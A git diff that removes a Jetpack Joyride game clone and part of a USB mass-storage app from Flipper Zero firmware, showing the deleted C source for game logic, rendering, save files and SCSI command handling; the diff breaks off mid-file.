--- a/applications/external/jetpack_joyride/includes/coin.c +++ /dev/null @@ -1,99 +0,0 @@ -#include -#include - -#include "jetpack_joyride_icons.h" -#include -#include - -#include "coin.h" -#include "barry.h" - -#define PATTERN_MAX_HEIGHT 40 - -// Patterns -const COIN_PATTERN coin_patterns[] = { - {// Square pattern - .count = 9, - .coins = {{0, 0}, {8, 0}, {16, 0}, {0, 8}, {8, 8}, {16, 8}, {0, 16}, {8, 16}, {16, 16}}}, - {// Wavy pattern (approximate sine wave) - .count = 8, - .coins = {{0, 8}, {8, 16}, {16, 24}, {24, 16}, {32, 8}, {40, 0}, {48, 8}, {56, 16}}}, - {// Diagonal pattern - .count = 5, - .coins = {{0, 0}, {8, 8}, {16, 16}, {24, 24}, {32, 32}}}, - // Add more patterns here -}; - -void coin_tick(COIN* const coins, BARRY* const barry, int* const total_coins) { - // Move coins towards the player - for(int i = 0; i < COINS_MAX; i++) { - if(coin_colides(&coins[i], barry)) { - coins[i].point.x = 0; // Remove the coin - (*total_coins)++; - } - if(coins[i].point.x > 0) { - coins[i].point.x -= 1; // move left by 1 unit - if(coins[i].point.x < -COIN_WIDTH) { // if the coin is out of screen - coins[i].point.x = 0; // set coin x coordinate to 0 to mark it as "inactive" - } - } - } -} - -bool coin_colides(COIN* const coin, BARRY* const barry) { - return !( - barry->point.x > coin->point.x + COIN_WIDTH || // Barry is to the right of the coin - barry->point.x + BARRY_WIDTH < coin->point.x || // Barry is to the left of the coin - barry->point.y > coin->point.y + COIN_WIDTH || // Barry is below the coin - barry->point.y + BARRY_HEIGHT < coin->point.y); // Barry is above the coin -} - -void spawn_random_coin(COIN* const coins) { - // Select a random pattern - int pattern_index = rand() % (sizeof(coin_patterns) / sizeof(coin_patterns[0])); - const COIN_PATTERN* pattern = &coin_patterns[pattern_index]; - - // Count available slots for new coins - int available_slots = 0; - for(int i = 0; i < COINS_MAX; ++i) { - if(coins[i].point.x <= 0) { - ++available_slots; - } - } - - // If there aren't enough slots, return without spawning coins - if(available_slots < pattern->count) return; - - // Spawn coins according to the selected pattern - int coin_index = 0; - int random_offset = rand() % (SCREEN_HEIGHT - PATTERN_MAX_HEIGHT); - int random_offset_x = rand() % 16; - for(int i = 0; i < pattern->count; ++i) { - // Find an available slot for a new coin - while(coins[coin_index].point.x > 0 && coin_index < COINS_MAX) { - ++coin_index; - } - // If no slot is available, stop spawning coins - if(coin_index == COINS_MAX) break; - - // Spawn the coin - coins[coin_index].point.x = SCREEN_WIDTH - 1 + pattern->coins[i].x + random_offset_x; - coins[coin_index].point.y = - random_offset + - pattern->coins[i] - .y; // The pattern is spawned at a random y position, but not too close to the screen edge - } -} - -void draw_coins(const COIN* coins, Canvas* const canvas, const GameSprites* sprites) { - canvas_set_color(canvas, ColorBlack); - for(int i = 0; i < COINS_MAX; ++i) { - if(coins[i].point.x > 0) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon(canvas, coins[i].point.x, coins[i].point.y, sprites->coin); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon(canvas, coins[i].point.x, coins[i].point.y, sprites->coin_infill); - } - } -} diff --git a/applications/external/jetpack_joyride/includes/coin.h b/applications/external/jetpack_joyride/includes/coin.h deleted file mode 100644 index 41fd21ddc..000000000 --- a/applications/external/jetpack_joyride/includes/coin.h +++ /dev/null @@ -1,26 +0,0 @@ -#ifndef COIN_H -#define COIN_H - -#include - -#include "point.h" -#include "barry.h" - -#define COINS_MAX 15 - -typedef struct { - float gravity; - POINT point; -} COIN; - -typedef struct { - int count; - POINT coins[COINS_MAX]; -} COIN_PATTERN; - -void coin_tick(COIN* const coins, BARRY* const barry, int* const poins); -void spawn_random_coin(COIN* const coins); -bool coin_colides(COIN* const coin, BARRY* const barry); -void draw_coins(const COIN* coins, Canvas* const canvas, const GameSprites* sprites); - -#endif // COIN_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/game_sprites.h b/applications/external/jetpack_joyride/includes/game_sprites.h deleted file mode 100644 index d38494bf8..000000000 --- a/applications/external/jetpack_joyride/includes/game_sprites.h +++ /dev/null @@ -1,35 +0,0 @@ -#ifndef GAME_SPRITES_H -#define GAME_SPRITES_H - -#include "point.h" -#include - -#define SCREEN_WIDTH 128 -#define SCREEN_HEIGHT 64 - -#define BARRY_WIDTH 11 -#define BARRY_HEIGHT 15 - -#define MISSILE_WIDTH 26 -#define MISSILE_HEIGHT 12 - -#define SCIENTIST_WIDTH 9 -#define SCIENTIST_HEIGHT 14 - -#define COIN_WIDTH 7 - -typedef struct { - IconAnimation* barry; - const Icon* barry_infill; - const Icon* scientist_left; - const Icon* scientist_left_infill; - const Icon* scientist_right; - const Icon* scientist_right_infill; - const Icon* coin; - const Icon* coin_infill; - IconAnimation* missile; - IconAnimation* alert; - const Icon* missile_infill; -} GameSprites; - -#endif // GAME_SPRITES_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/game_state.c b/applications/external/jetpack_joyride/includes/game_state.c deleted file mode 100644 index a8a9db618..000000000 --- a/applications/external/jetpack_joyride/includes/game_state.c +++ /dev/null @@ -1,5 +0,0 @@ -#include "game_state.h" - -void game_state_tick(GameState* const game_state) { - game_state->distance++; -} diff --git a/applications/external/jetpack_joyride/includes/game_state.h b/applications/external/jetpack_joyride/includes/game_state.h deleted file mode 100644 index 1e97aaf18..000000000 --- a/applications/external/jetpack_joyride/includes/game_state.h +++ /dev/null @@ -1,34 +0,0 @@ -#ifndef GAMESTATE_H -#define GAMESTATE_H - -#include -#include - -#include "barry.h" -#include "scientist.h" -#include "coin.h" -#include "particle.h" -#include "game_sprites.h" -#include "states.h" -#include "missile.h" -#include "background_assets.h" -typedef struct { - int total_coins; - int distance; - bool new_highscore; - BARRY barry; - COIN coins[COINS_MAX]; - PARTICLE particles[PARTICLES_MAX]; - SCIENTIST scientists[SCIENTISTS_MAX]; - MISSILE missiles[MISSILES_MAX]; - BackgroundAsset bg_assets[BG_ASSETS_MAX]; - State state; - GameSprites sprites; - FuriMutex* mutex; - FuriTimer* timer; - void (*death_handler)(); -} GameState; - -void game_state_tick(GameState* const game_state); - -#endif // GAMESTATE_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/missile.c b/applications/external/jetpack_joyride/includes/missile.c deleted file mode 100644 index 8302973a5..000000000 --- a/applications/external/jetpack_joyride/includes/missile.c +++ /dev/null @@ -1,87 +0,0 @@ -#include -#include - -#include "jetpack_joyride_icons.h" -#include -#include - -#include "states.h" -#include "game_sprites.h" -#include "missile.h" -#include "barry.h" - -void missile_tick(MISSILE* const missiles, BARRY* const barry, void (*death_handler)()) { - // Move missiles towards the player - for(int i = 0; i < MISSILES_MAX; i++) { - if(missiles[i].visible && missile_colides(&missiles[i], barry)) { - death_handler(); - } - if(missiles[i].visible) { - missiles[i].point.x -= 2; // move left by 2 units - if(missiles[i].point.x < -MISSILE_WIDTH) { // if the missile is out of screen - missiles[i].visible = false; // set missile as "inactive" - } - } - } -} - -void spawn_random_missile(MISSILE* const missiles) { - // Check for an available slot for a new missile - for(int i = 0; i < MISSILES_MAX; ++i) { - if(!missiles[i].visible) { - missiles[i].point.x = 2 * SCREEN_WIDTH; - missiles[i].point.y = rand() % (SCREEN_HEIGHT - MISSILE_HEIGHT); - missiles[i].visible = true; - break; - } - } -} - -void draw_missiles(const MISSILE* missiles, Canvas* const canvas, const GameSprites* sprites) { - for(int i = 0; i < MISSILES_MAX; ++i) { - if(missiles[i].visible) { - canvas_set_color(canvas, ColorBlack); - - if(missiles[i].point.x > 128) { - canvas_draw_icon_animation( - canvas, SCREEN_WIDTH - 7, missiles[i].point.y, sprites->alert); - } else { - canvas_draw_icon_animation( - canvas, missiles[i].point.x, missiles[i].point.y, sprites->missile); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon( - canvas, missiles[i].point.x, missiles[i].point.y, sprites->missile_infill); - } - } - } -} - -bool missile_colides(MISSILE* const missile, BARRY* const barry) { - return !( - barry->point.x > - missile->point.x + MISSILE_WIDTH - 14 || // Barry is to the right of the missile - barry->point.x + BARRY_WIDTH - 3 < - missile->point.x || // Barry is to the left of the missile - barry->point.y > missile->point.y + MISSILE_HEIGHT || // Barry is below the missile - barry->point.y + BARRY_HEIGHT < missile->point.y); // Barry is above the missile -} - -int get_rocket_spawn_distance(int player_distance) { - // Define the start and end points for rocket spawn distance - int start_distance = 256; - int end_distance = 24; - - // Define the maximum player distance at which the spawn distance should be at its minimum - int max_player_distance = 5000; // Adjust this value based on your game's difficulty curve - - if(player_distance >= max_player_distance) { - return end_distance; - } - - // Calculate the linear interpolation factor - float t = (float)player_distance / max_player_distance; - - // Interpolate the rocket spawn distance - return start_distance + t * (end_distance - start_distance); -} diff --git a/applications/external/jetpack_joyride/includes/missile.h b/applications/external/jetpack_joyride/includes/missile.h deleted file mode 100644 index a5af4e885..000000000 --- a/applications/external/jetpack_joyride/includes/missile.h +++ /dev/null @@ -1,24 +0,0 @@ -#ifndef MISSILE_H -#define MISSILE_H - -#include -#include "game_sprites.h" - -#include "states.h" -#include "point.h" -#include "barry.h" - -#define MISSILES_MAX 5 - -typedef struct { - POINT point; - bool visible; -} MISSILE; - -void missile_tick(MISSILE* const missiles, BARRY* const barry, void (*death_handler)()); -void spawn_random_missile(MISSILE* const MISSILEs); -bool missile_colides(MISSILE* const MISSILE, BARRY* const barry); -int get_rocket_spawn_distance(int player_distance); -void draw_missiles(const MISSILE* missiles, Canvas* const canvas, const GameSprites* sprites); - -#endif // MISSILE_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/particle.c b/applications/external/jetpack_joyride/includes/particle.c deleted file mode 100644 index cf8e6e0a6..000000000 --- a/applications/external/jetpack_joyride/includes/particle.c +++ /dev/null @@ -1,57 +0,0 @@ -#include - -#include "particle.h" -#include "scientist.h" -#include "barry.h" - -void particle_tick(PARTICLE* const particles, SCIENTIST* const scientists) { - // Move particles - for(int i = 0; i < PARTICLES_MAX; i++) { - if(particles[i].point.y > 0) { - particles[i].point.y += PARTICLE_VELOCITY; - - // Check collision with scientists - for(int j = 0; j < SCIENTISTS_MAX; j++) { - if(scientists[j].state == ScientistStateAlive && scientists[j].point.x > 0) { - // Check whether the particle lies within the scientist's bounding box - if(!(particles[i].point.x > scientists[j].point.x + SCIENTIST_WIDTH || - particles[i].point.x < scientists[j].point.x || - particles[i].point.y > scientists[j].point.y + SCIENTIST_HEIGHT || - particles[i].point.y < scientists[j].point.y)) { - scientists[j].state = ScientistStateDead; - // (*points) += 2; // Increase the score by 2 - } - } - } - - if(particles[i].point.x < 0 || particles[i].point.x > SCREEN_WIDTH || - particles[i].point.y < 0 || particles[i].point.y > SCREEN_HEIGHT) { - particles[i].point.y = 0; - } - } - } -} - -void spawn_random_particles(PARTICLE* const particles, BARRY* const barry) { - for(int i = 0; i < PARTICLES_MAX; i++) { - if(particles[i].point.y <= 0) { - particles[i].point.x = barry->point.x + (rand() % 4); - particles[i].point.y = barry->point.y + 14; - break; - } - } -} - -void draw_particles(const PARTICLE* particles, Canvas* const canvas) { - canvas_set_color(canvas, ColorBlack); - for(int i = 0; i < PARTICLES_MAX; i++) { - if(particles[i].point.y > 0) { - canvas_draw_line( - canvas, - particles[i].point.x, - particles[i].point.y, - particles[i].point.x, - particles[i].point.y + 3); - } - } -} diff --git a/applications/external/jetpack_joyride/includes/particle.h b/applications/external/jetpack_joyride/includes/particle.h deleted file mode 100644 index 3442c9c4e..000000000 --- a/applications/external/jetpack_joyride/includes/particle.h +++ /dev/null @@ -1,21 +0,0 @@ - - -#ifndef PARTICLE_H -#define PARTICLE_H - -#include "point.h" -#include "scientist.h" -#include "barry.h" - -#define PARTICLES_MAX 50 -#define PARTICLE_VELOCITY 2 - -typedef struct { - POINT point; -} PARTICLE; - -void particle_tick(PARTICLE* const particles, SCIENTIST* const scientists); -void spawn_random_particles(PARTICLE* const particles, BARRY* const barry); -void draw_particles(const PARTICLE* particles, Canvas* const canvas); - -#endif // PARTICLE_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/point.h b/applications/external/jetpack_joyride/includes/point.h deleted file mode 100644 index 02c9a6ce4..000000000 --- a/applications/external/jetpack_joyride/includes/point.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef POINT_H -#define POINT_H - -typedef struct { - int x; - int y; -} POINT; - -typedef struct { - float x; - float y; -} POINTF; - -#endif // POINT_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/scientist.c b/applications/external/jetpack_joyride/includes/scientist.c deleted file mode 100644 index d831b78db..000000000 --- a/applications/external/jetpack_joyride/includes/scientist.c +++ /dev/null @@ -1,78 +0,0 @@ -#include "scientist.h" -#include "game_sprites.h" - -#include "jetpack_joyride_icons.h" -#include -#include - -void scientist_tick(SCIENTIST* const scientists) { - for(int i = 0; i < SCIENTISTS_MAX; i++) { - if(scientists[i].visible) { - if(scientists[i].point.x < 64) scientists[i].velocity_x = 0.5f; - - scientists[i].point.x -= scientists[i].state == ScientistStateAlive ? - 1 - scientists[i].velocity_x : - 1; // move based on velocity_x - int width = (scientists[i].state == ScientistStateAlive) ? SCIENTIST_WIDTH : - SCIENTIST_HEIGHT; - if(scientists[i].point.x <= -width) { // if the scientist is out of screen - scientists[i].visible = false; - } - } - } -} - -void spawn_random_scientist(SCIENTIST* const scientists) { - float velocities[] = {-0.5f, 0.0f, 0.5f, -1.0f}; - // Check for an available slot for a new scientist - for(int i = 0; i < SCIENTISTS_MAX; ++i) { - if(!scientists[i].visible && - (rand() % 1000) < 10) { // Spawn rate is less frequent than coins - scientists[i].state = ScientistStateAlive; - scientists[i].point.x = 127; - scientists[i].point.y = 49; - scientists[i].velocity_x = velocities[rand() % 4]; - scientists[i].visible = true; - break; - } - } -} - -void draw_scientists(const SCIENTIST* scientists, Canvas* const canvas, const GameSprites* sprites) { - for(int i = 0; i < SCIENTISTS_MAX; ++i) { - if(scientists[i].visible) { - canvas_set_color(canvas, ColorBlack); - if(scientists[i].state == ScientistStateAlive) { - canvas_draw_icon( - canvas, - (int)scientists[i].point.x, - scientists[i].point.y, - scientists[i].velocity_x >= 0 ? sprites->scientist_right : - sprites->scientist_left); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon( - canvas, - (int)scientists[i].point.x, - scientists[i].point.y, - scientists[i].velocity_x >= 0 ? sprites->scientist_right_infill : - sprites->scientist_left_infill); - - } else { - canvas_set_color(canvas, ColorBlack); - canvas_draw_icon( - canvas, - (int)scientists[i].point.x, - scientists[i].point.y + 5, - &I_dead_scientist); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_icon( - canvas, - (int)scientists[i].point.x, - scientists[i].point.y + 5, - &I_dead_scientist_infill); - } - } - } -} \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/scientist.h b/applications/external/jetpack_joyride/includes/scientist.h deleted file mode 100644 index a49e8028c..000000000 --- a/applications/external/jetpack_joyride/includes/scientist.h +++ /dev/null @@ -1,29 +0,0 @@ -#ifndef SCIENTIST_H -#define SCIENTIST_H - -#include "point.h" -#include "game_sprites.h" -#include - -#define SCIENTIST_VELOCITY_MIN -0.5f -#define SCIENTIST_VELOCITY_MAX 0.5f - -#define SCIENTISTS_MAX 6 - -typedef enum { - ScientistStateAlive, - ScientistStateDead, -} ScientistState; - -typedef struct { - bool visible; - POINTF point; - float velocity_x; - ScientistState state; -} SCIENTIST; - -void scientist_tick(SCIENTIST* const scientist); -void spawn_random_scientist(SCIENTIST* const scientists); -void draw_scientists(const SCIENTIST* scientists, Canvas* const canvas, const GameSprites* sprites); - -#endif // SCIENTIST_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/includes/states.h b/applications/external/jetpack_joyride/includes/states.h deleted file mode 100644 index d58e3e1f6..000000000 --- a/applications/external/jetpack_joyride/includes/states.h +++ /dev/null @@ -1,9 +0,0 @@ -#ifndef STATE_H -#define STATE_H - -typedef enum { - GameStateLife, - GameStateGameOver, -} State; - -#endif // STATE_H \ No newline at end of file diff --git a/applications/external/jetpack_joyride/jetpack.c b/applications/external/jetpack_joyride/jetpack.c deleted file mode 100644 index 37443ee90..000000000 --- a/applications/external/jetpack_joyride/jetpack.c +++ /dev/null @@ -1,374 +0,0 @@ -#include - -#include "jetpack_joyride_icons.h" -#include -#include -#include -#include -#include -#include - -#include "includes/point.h" -#include "includes/barry.h" -#include "includes/scientist.h" -#include "includes/particle.h" -#include "includes/coin.h" -#include "includes/missile.h" -#include "includes/background_assets.h" - -#include "includes/game_state.h" - -#define TAG "Jetpack Joyride" -#define SAVING_FILENAME APP_DATA_PATH("jetpack.save") -static GameState* global_state; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} GameEvent; - -typedef struct { - int max_distance; - int total_coins; -} SaveGame; - -static SaveGame save_game; - -static bool storage_game_state_load() { - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_common_migrate(storage, EXT_PATH("apps/Games/jetpack.save"), SAVING_FILENAME); - File* file = storage_file_alloc(storage); - - uint16_t bytes_readed = 0; - if(storage_file_open(file, SAVING_FILENAME, FSAM_READ, FSOM_OPEN_EXISTING)) - bytes_readed = storage_file_read(file, &save_game, sizeof(SaveGame)); - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); - return bytes_readed == sizeof(SaveGame); -} - -static void storage_game_state_save() { - Storage* storage = furi_record_open(RECORD_STORAGE); - - File* file = storage_file_alloc(storage); - if(storage_file_open(file, SAVING_FILENAME, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { - storage_file_write(file, &save_game, sizeof(SaveGame)); - } - storage_file_close(file); - storage_file_free(file); - furi_record_close(RECORD_STORAGE); -} - -void handle_death() { - global_state->state = GameStateGameOver; - global_state->new_highscore = global_state->distance > save_game.max_distance; - - if(global_state->distance > save_game.max_distance) { - save_game.max_distance = global_state->distance; - } - - save_game.total_coins += global_state->total_coins; - - storage_game_state_save(); -} - -static void jetpack_game_state_init(GameState* const game_state) { - UNUSED(game_state); - UNUSED(storage_game_state_save); - BARRY barry; - barry.gravity = 0; - barry.point.x = 32 + 5; - barry.point.y = 32; - barry.isBoosting = false; - - GameSprites sprites; - sprites.barry = icon_animation_alloc(&A_barry); - sprites.barry_infill = &I_barry_infill; - - sprites.scientist_left = (&I_scientist_left); - sprites.scientist_left_infill = (&I_scientist_left_infill); - sprites.scientist_right = (&I_scientist_right); - sprites.scientist_right_infill = (&I_scientist_right_infill); - - sprites.coin = (&I_coin); - sprites.coin_infill = (&I_coin_infill); - - sprites.missile = icon_animation_alloc(&A_missile); - sprites.missile_infill = &I_missile_infill; - - sprites.alert = icon_animation_alloc(&A_alert); - - icon_animation_start(sprites.barry); - icon_animation_start(sprites.missile); - icon_animation_start(sprites.alert); - - game_state->barry = barry; - game_state->total_coins = 0; - game_state->distance = 0; - game_state->new_highscore = false; - game_state->sprites = sprites; - game_state->state = GameStateLife; - game_state->death_handler = handle_death; - - memset(game_state->bg_assets, 0, sizeof(game_state->bg_assets)); - - memset(game_state->scientists, 0, sizeof(game_state->scientists)); - memset(game_state->coins, 0, sizeof(game_state->coins)); - memset(game_state->particles, 0, sizeof(game_state->particles)); - memset(game_state->missiles, 0, sizeof(game_state->missiles)); -} - -static void jetpack_game_state_free(GameState* const game_state) { - icon_animation_free(game_state->sprites.barry); - icon_animation_free(game_state->sprites.missile); - icon_animation_free(game_state->sprites.alert); - - free(game_state); -} - -static void jetpack_game_tick(GameState* const game_state) { - if(game_state->state == GameStateGameOver) return; - barry_tick(&game_state->barry); - game_state_tick(game_state); - coin_tick(game_state->coins, &game_state->barry, &game_state->total_coins); - particle_tick(game_state->particles, game_state->scientists); - scientist_tick(game_state->scientists); - missile_tick(game_state->missiles, &game_state->barry, game_state->death_handler); - - background_assets_tick(game_state->bg_assets); - - // generate background every 64px aka. ticks - if(game_state->distance % 64 == 0 && rand() % 3 == 0) { - spawn_random_background_asset(game_state->bg_assets); - } - - if(game_state->distance % 48 == 0 && rand() % 2 == 0) { - spawn_random_coin(game_state->coins); - } - - if(game_state->distance % get_rocket_spawn_distance(game_state->distance) == 0 && - rand() % 2 == 0) { - spawn_random_missile(game_state->missiles); - } - - spawn_random_scientist(game_state->scientists); - - if(game_state->barry.isBoosting) { - spawn_random_particles(game_state->particles, &game_state->barry); - } -} - -static void jetpack_game_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const GameState* game_state = ctx; - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - if(game_state->state == GameStateLife) { - canvas_set_bitmap_mode(canvas, false); - - draw_background_assets(game_state->bg_assets, canvas, game_state->distance); - - canvas_set_bitmap_mode(canvas, true); - - draw_coins(game_state->coins, canvas, &game_state->sprites); - draw_scientists(game_state->scientists, canvas, &game_state->sprites); - draw_particles(game_state->particles, canvas); - draw_missiles(game_state->missiles, canvas, &game_state->sprites); - - draw_barry(&game_state->barry, canvas, &game_state->sprites); - - canvas_set_color(canvas, ColorBlack); - canvas_set_font(canvas, FontSecondary); - char buffer[12]; - snprintf(buffer, sizeof(buffer), "%u m", game_state->distance / 10); - canvas_draw_str_aligned(canvas, 123, 15, AlignRight, AlignBottom, buffer); - - snprintf(buffer, sizeof(buffer), "$%u", game_state->total_coins); - canvas_draw_str_aligned(canvas, 5, 15, AlignLeft, AlignBottom, buffer); - } - - if(game_state->state == GameStateGameOver) { - // Show highscore - char buffer[64]; - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 5, AlignCenter, AlignTop, "You flew"); - - snprintf( - buffer, - sizeof(buffer), - game_state->new_highscore ? "%u m (new best)" : "%u m", - game_state->distance / 10); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 16, AlignCenter, AlignTop, buffer); - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 30, AlignCenter, AlignTop, "and collected"); - - snprintf(buffer, sizeof(buffer), "$%u", game_state->total_coins); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 41, AlignCenter, AlignTop, buffer); - - snprintf( - buffer, - sizeof(buffer), - "Best: %u m, Tot: $%u", - save_game.max_distance / 10, - save_game.total_coins); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 64, 63, AlignCenter, AlignBottom, buffer); - - canvas_draw_rframe(canvas, 0, 3, 128, 49, 5); - - // char buffer[12]; - // snprintf(buffer, sizeof(buffer), "Dist: %u", game_state->distance); - // canvas_draw_str_aligned(canvas, 123, 12, AlignRight, AlignBottom, buffer); - - // snprintf(buffer, sizeof(buffer), "Score: %u", game_state->points); - // canvas_draw_str_aligned(canvas, 5, 12, AlignLeft, AlignBottom, buffer); - - // canvas_draw_str_aligned(canvas, 64, 34, AlignCenter, AlignCenter, "Highscore:"); - // snprintf(buffer, sizeof(buffer), "Dist: %u", save_game.max_distance); - // canvas_draw_str_aligned(canvas, 123, 50, AlignRight, AlignBottom, buffer); - - // snprintf(buffer, sizeof(buffer), "Score: %u", save_game.max_score); - // canvas_draw_str_aligned(canvas, 5, 50, AlignLeft, AlignBottom, buffer); - - // canvas_draw_str_aligned(canvas, 64, 32, AlignCenter, AlignCenter, "boom."); - - // if(furi_timer_is_running(game_state->timer)) { - // furi_timer_start(game_state->timer, 0); - // } - } - - // canvas_draw_frame(canvas, 0, 0, 128, 64); - - furi_mutex_release(game_state->mutex); -} - -static void jetpack_game_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -static void jetpack_game_update_timer_callback(FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - GameEvent event = {.type = EventTypeTick}; - furi_message_queue_put(event_queue, &event, 0); -} - -int32_t jetpack_game_app(void* p) { - UNUSED(p); - int32_t return_code = 0; - - if(!storage_game_state_load()) { - memset(&save_game, 0, sizeof(save_game)); - } - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(GameEvent)); - - GameState* game_state = malloc(sizeof(GameState)); - - global_state = game_state; - jetpack_game_state_init(game_state); - - game_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!game_state->mutex) { - FURI_LOG_E(TAG, "cannot create mutex\r\n"); - return_code = 255; - goto free_and_exit; - } - - // Set system callbacks - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, jetpack_game_render_callback, game_state); - view_port_input_callback_set(view_port, jetpack_game_input_callback, event_queue); - - FuriTimer* timer = - furi_timer_alloc(jetpack_game_update_timer_callback, FuriTimerTypePeriodic, event_queue); - furi_timer_start(timer, furi_kernel_get_tick_frequency() / 25); - - game_state->timer = timer; - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - GameEvent event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(game_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypeRelease && event.input.key == InputKeyOk) { - game_state->barry.isBoosting = false; - } - - // Reset highscore, for debug purposes - if(event.input.type == InputTypeLong && event.input.key == InputKeyLeft) { - save_game.max_distance = 0; - save_game.total_coins = 0; - storage_game_state_save(); - } - - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - break; - case InputKeyLeft: - break; - case InputKeyOk: - if(game_state->state == GameStateGameOver) { - jetpack_game_state_init(game_state); - } - - if(game_state->state == GameStateLife) { - // Do something - game_state->barry.isBoosting = true; - } - - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } else if(event.type == EventTypeTick) { - jetpack_game_tick(game_state); - } - } - - view_port_update(view_port); - furi_mutex_release(game_state->mutex); - } - - furi_timer_free(timer); - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_mutex_free(game_state->mutex); - -free_and_exit: - jetpack_game_state_free(game_state); - furi_message_queue_free(event_queue); - - return return_code; -} \ No newline at end of file diff --git a/applications/external/mass_storage/application.fam b/applications/external/mass_storage/application.fam deleted file mode 100644 index 66d18422c..000000000 --- a/applications/external/mass_storage/application.fam +++ /dev/null @@ -1,16 +0,0 @@ -App( - appid="mass_storage", - name="Mass Storage", - apptype=FlipperAppType.EXTERNAL, - entry_point="mass_storage_app", - requires=[ - "gui", - "dialogs", - ], - stack_size=2 * 1024, - fap_description="Implements a mass storage device over USB for disk images", - fap_version="1.2", - fap_icon="assets/mass_storage_10px.png", - fap_icon_assets="assets", - fap_category="USB", -) diff --git a/applications/external/mass_storage/assets/mass_storage_10px.png b/applications/external/mass_storage/assets/mass_storage_10px.png deleted file mode 100644 index 91af40ba7..000000000 Binary files a/applications/external/mass_storage/assets/mass_storage_10px.png and /dev/null differ diff --git a/applications/external/mass_storage/helpers/mass_storage_scsi.c b/applications/external/mass_storage/helpers/mass_storage_scsi.c deleted file mode 100644 index c1efacf8e..000000000 --- a/applications/external/mass_storage/helpers/mass_storage_scsi.c +++ /dev/null @@ -1,266 +0,0 @@ -#include "mass_storage_scsi.h" - -#include - -#define TAG "MassStorageSCSI" - -#define SCSI_TEST_UNIT_READY (0x00) -#define SCSI_REQUEST_SENSE (0x03) -#define SCSI_INQUIRY (0x12) -#define SCSI_READ_FORMAT_CAPACITIES (0x23) -#define SCSI_READ_CAPACITY_10 (0x25) -#define SCSI_MODE_SENSE_6 (0x1A) -#define SCSI_READ_10 (0x28) -#define SCSI_PREVENT_MEDIUM_REMOVAL (0x1E) -#define SCSI_START_STOP_UNIT (0x1B) -#define SCSI_WRITE_10 (0x2A) - -bool scsi_cmd_start(SCSISession* scsi, uint8_t* cmd, uint8_t len) { - if(!len) { - scsi->sk = SCSI_SK_ILLEGAL_REQUEST; - scsi->asc = SCSI_ASC_INVALID_COMMAND_OPERATION_CODE; - return false; - } - FURI_LOG_T(TAG, "START %02X", cmd[0]); - scsi->cmd = cmd; - scsi->cmd_len = len; - scsi->rx_done = false; - scsi->tx_done = false; - switch(cmd[0]) { - case SCSI_WRITE_10: { - if(len < 10) return false; - scsi->write_10.lba = cmd[2] << 24 | cmd[3] << 16 | cmd[4] << 8 | cmd[5]; - scsi->write_10.count = cmd[7] << 8 | cmd[8]; - FURI_LOG_D(TAG, "SCSI_WRITE_10 %08lX %04X", scsi->write_10.lba, scsi->write_10.count); - return true; - }; break; - case SCSI_READ_10: { - if(len < 10) return false; - scsi->read_10.lba = cmd[2] << 24 | cmd[3] << 16 | cmd[4] << 8 | cmd[5]; - scsi->read_10.count = cmd[7] << 8 | cmd[8]; - FURI_LOG_D(TAG, "SCSI_READ_10 %08lX %04X", scsi->read_10.lba, scsi->read_10.count); - return true; - }; break; - } - return true; -} - -bool scsi_cmd_rx_data(SCSISession* scsi, uint8_t* data, uint32_t len) { - FURI_LOG_T(TAG, "RX %02X len %lu", scsi->cmd[0], len); - if(scsi->rx_done) return false; - switch(scsi->cmd[0]) { - case SCSI_WRITE_10: { - uint32_t block_size = SCSI_BLOCK_SIZE; - uint16_t blocks = len / block_size; - bool result = - scsi->fn.write(scsi->fn.ctx, scsi->write_10.lba, blocks, data, blocks * block_size); - scsi->write_10.lba += blocks; - scsi->write_10.count -= blocks; - if(!scsi->write_10.count) { - scsi->rx_done = true; - } - return result; - }; break; - default: { - FURI_LOG_W(TAG, "unexpected scsi rx data cmd=%02X", scsi->cmd[0]); - scsi->sk = SCSI_SK_ILLEGAL_REQUEST; - 